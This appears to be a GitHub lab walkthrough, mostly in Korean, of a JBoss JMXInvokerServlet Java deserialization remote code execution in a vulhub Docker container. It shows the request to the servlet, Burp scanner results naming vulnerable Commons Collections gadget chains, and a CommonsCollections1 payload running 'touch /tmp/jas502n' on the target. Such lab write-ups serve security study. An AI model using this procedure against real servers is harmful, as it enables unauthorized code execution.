jas502n/jboss_jmxinvokerservlet_deserialization_rceJboss_JMXInvokerServlet_Deserialization_RCE
root@kali:~/vulhub/jboss/JMXInvokerServlet-deserialization# docker-compose up -d
jmxinvokerservlet-deserialization_jboss_1 is up-to-date
root@kali:~# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS
65b3707b9419 vulhub/jboss:as-6.1.0 "/run.sh" 4 hours ago Up 4 hours 0.0.0.0:8080->8080/tcp, 0.0.0.0:9990->999
BurpSuite 기록에서 /invoker/JMXInvokerServlet 경로가 존재하면 페이지가 200 상태 코드를 반환합니다.
POST /invoker/JMXInvokerServlet HTTP/1.1
Host: 10.10.20.166:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Cookie: JSESSIONID=8B6B65418F89E8857F4302AB85085A36
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
aaaa
응답은 Java serialization data, version 5를 반환합니다. 파일 헤더는 aced0005737200246f72672e6a626f73으로 시작합니다.
/invoker/JMXInvokerServlet의 POST 트래픽을 DS 플러그인으로 전송합니다.
마우스 오른쪽 버튼을 클릭하고 Send request to DS-Manual testing을 클릭합니다.
직렬화가 존재하는 위치를 선택합니다. JBoss는 /invoker/JMXInvokerServlet 요청에서 사용자가 전달한 직렬화 객체를 읽기 때문입니다. aaaa를 직렬화 지점으로 설정하고 aaaa를 모두 선택합니다. 그런 다음 Set Insertion Point를 클릭합니다. 이때 POST 데이터는 $aaaa$로 변경됩니다.
POST /invoker/JMXInvokerServlet HTTP/1.1
Host: 10.10.20.166:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Cookie: JSESSIONID=8B6B65418F89E8857F4302AB85085A36
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
§aaaa§
Attack 클릭
알림
SCANNING IN PROGRESS //正在进行扫描
Scanning can go on approximately from 1 second up to 3 minutes, based on the number of vulnerable libraries founded
//根据创建的易受攻击的库的数量，扫描可以持续大约1秒到3分钟
잠시 대기
Results:
Apache Commons Collections 3 (Sleep): Potentially VULNERABLE!!!
Spring Alternate Payload (Sleep): NOT vulnerable.
Apache Commons Collections 4 (Sleep): NOT vulnerable.
JSON (Sleep): NOT vulnerable.
Apache Commons Collections 3 Alternate payload 2 (Sleep): NOT vulnerable.
ROME (Sleep): NOT vulnerable.
Apache Commons Collections 4 Alternate payload (Sleep): NOT vulnerable.
Java 8 (up to Jdk8u20) (Sleep): NOT vulnerable.
Java 6 and Java 7 (up to Jdk7u21) (Sleep): Potentially VULNERABLE!!!
Hibernate 5 (Sleep): NOT vulnerable.
Commons BeanUtils (Sleep): NOT vulnerable.
Apache Commons Collections 3 Alternate payload 3 (Sleep): Potentially VULNERABLE!!!
Spring (Sleep): NOT vulnerable.
Apache Commons Collections 3 Alternate payload (Sleep): Potentially VULNERABLE!!!
END
IMPORTANT NOTE: High delayed networks may produce false positives!
잠재적으로 위험한 악용 방법
Apache Commons Collections 3 (Sleep): Potentially VULNERABLE!!! //可能有害！
Java 6 and Java 7 (up to Jdk7u21) (Sleep): Potentially VULNERABLE!!! //可能有害！
Apache Commons Collections 3 Alternate payload 3 (Sleep): Potentially VULNERABLE!!! //可能有害！
Apache Commons Collections 3 Alternate payload (Sleep): Potentially VULNERABLE!!! //可能有害！
마우스 오른쪽 버튼을 클릭하여 Send to Exploitation tab으로 전송
기본값
CommonsCollections1 COMMAND
다음으로 변경
CommonsCollections1 "touch /tmp/jas502n"
Attack 클릭
Docker 서버에 접속하여 /tmp/jas502n 파일이 성공적으로 생성되었는지 확인합니다.
root@kali:~/vulhub/jboss/JMXInvokerServlet-deserialization# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
65b3707b9419 vulhub/jboss:as-6.1.0 "/run.sh" 5 hours ago Up 5 hours 0.0.0.0:8080->8080/tcp, 0.0.0.0:9990->9990/tcp jmxinvokerservlet-deserialization_jboss_1
root@kali:~/vulhub/jboss/JMXInvokerServlet-deserialization# docker exec -it 65b3707b9419 /bin/bash
[root@65b3707b9419 /]# cd /tmp
[root@65b3707b9419 tmp]# ls
hsperfdata_root jas502n
[root@65b3707b9419 tmp]# rm jas502n
rm: remove regular empty file 'jas502n'? y
[root@65b3707b9419 tmp]#
[root@65b3707b9419 tmp]# ls
hsperfdata_root
[root@65b3707b9419 tmp]# ls
hsperfdata_root jas502n
[root@65b3707b9419 tmp]#
https://github.com/vulhub/vulhub/blob/master/jboss/JMXInvokerServlet-deserialization/README.md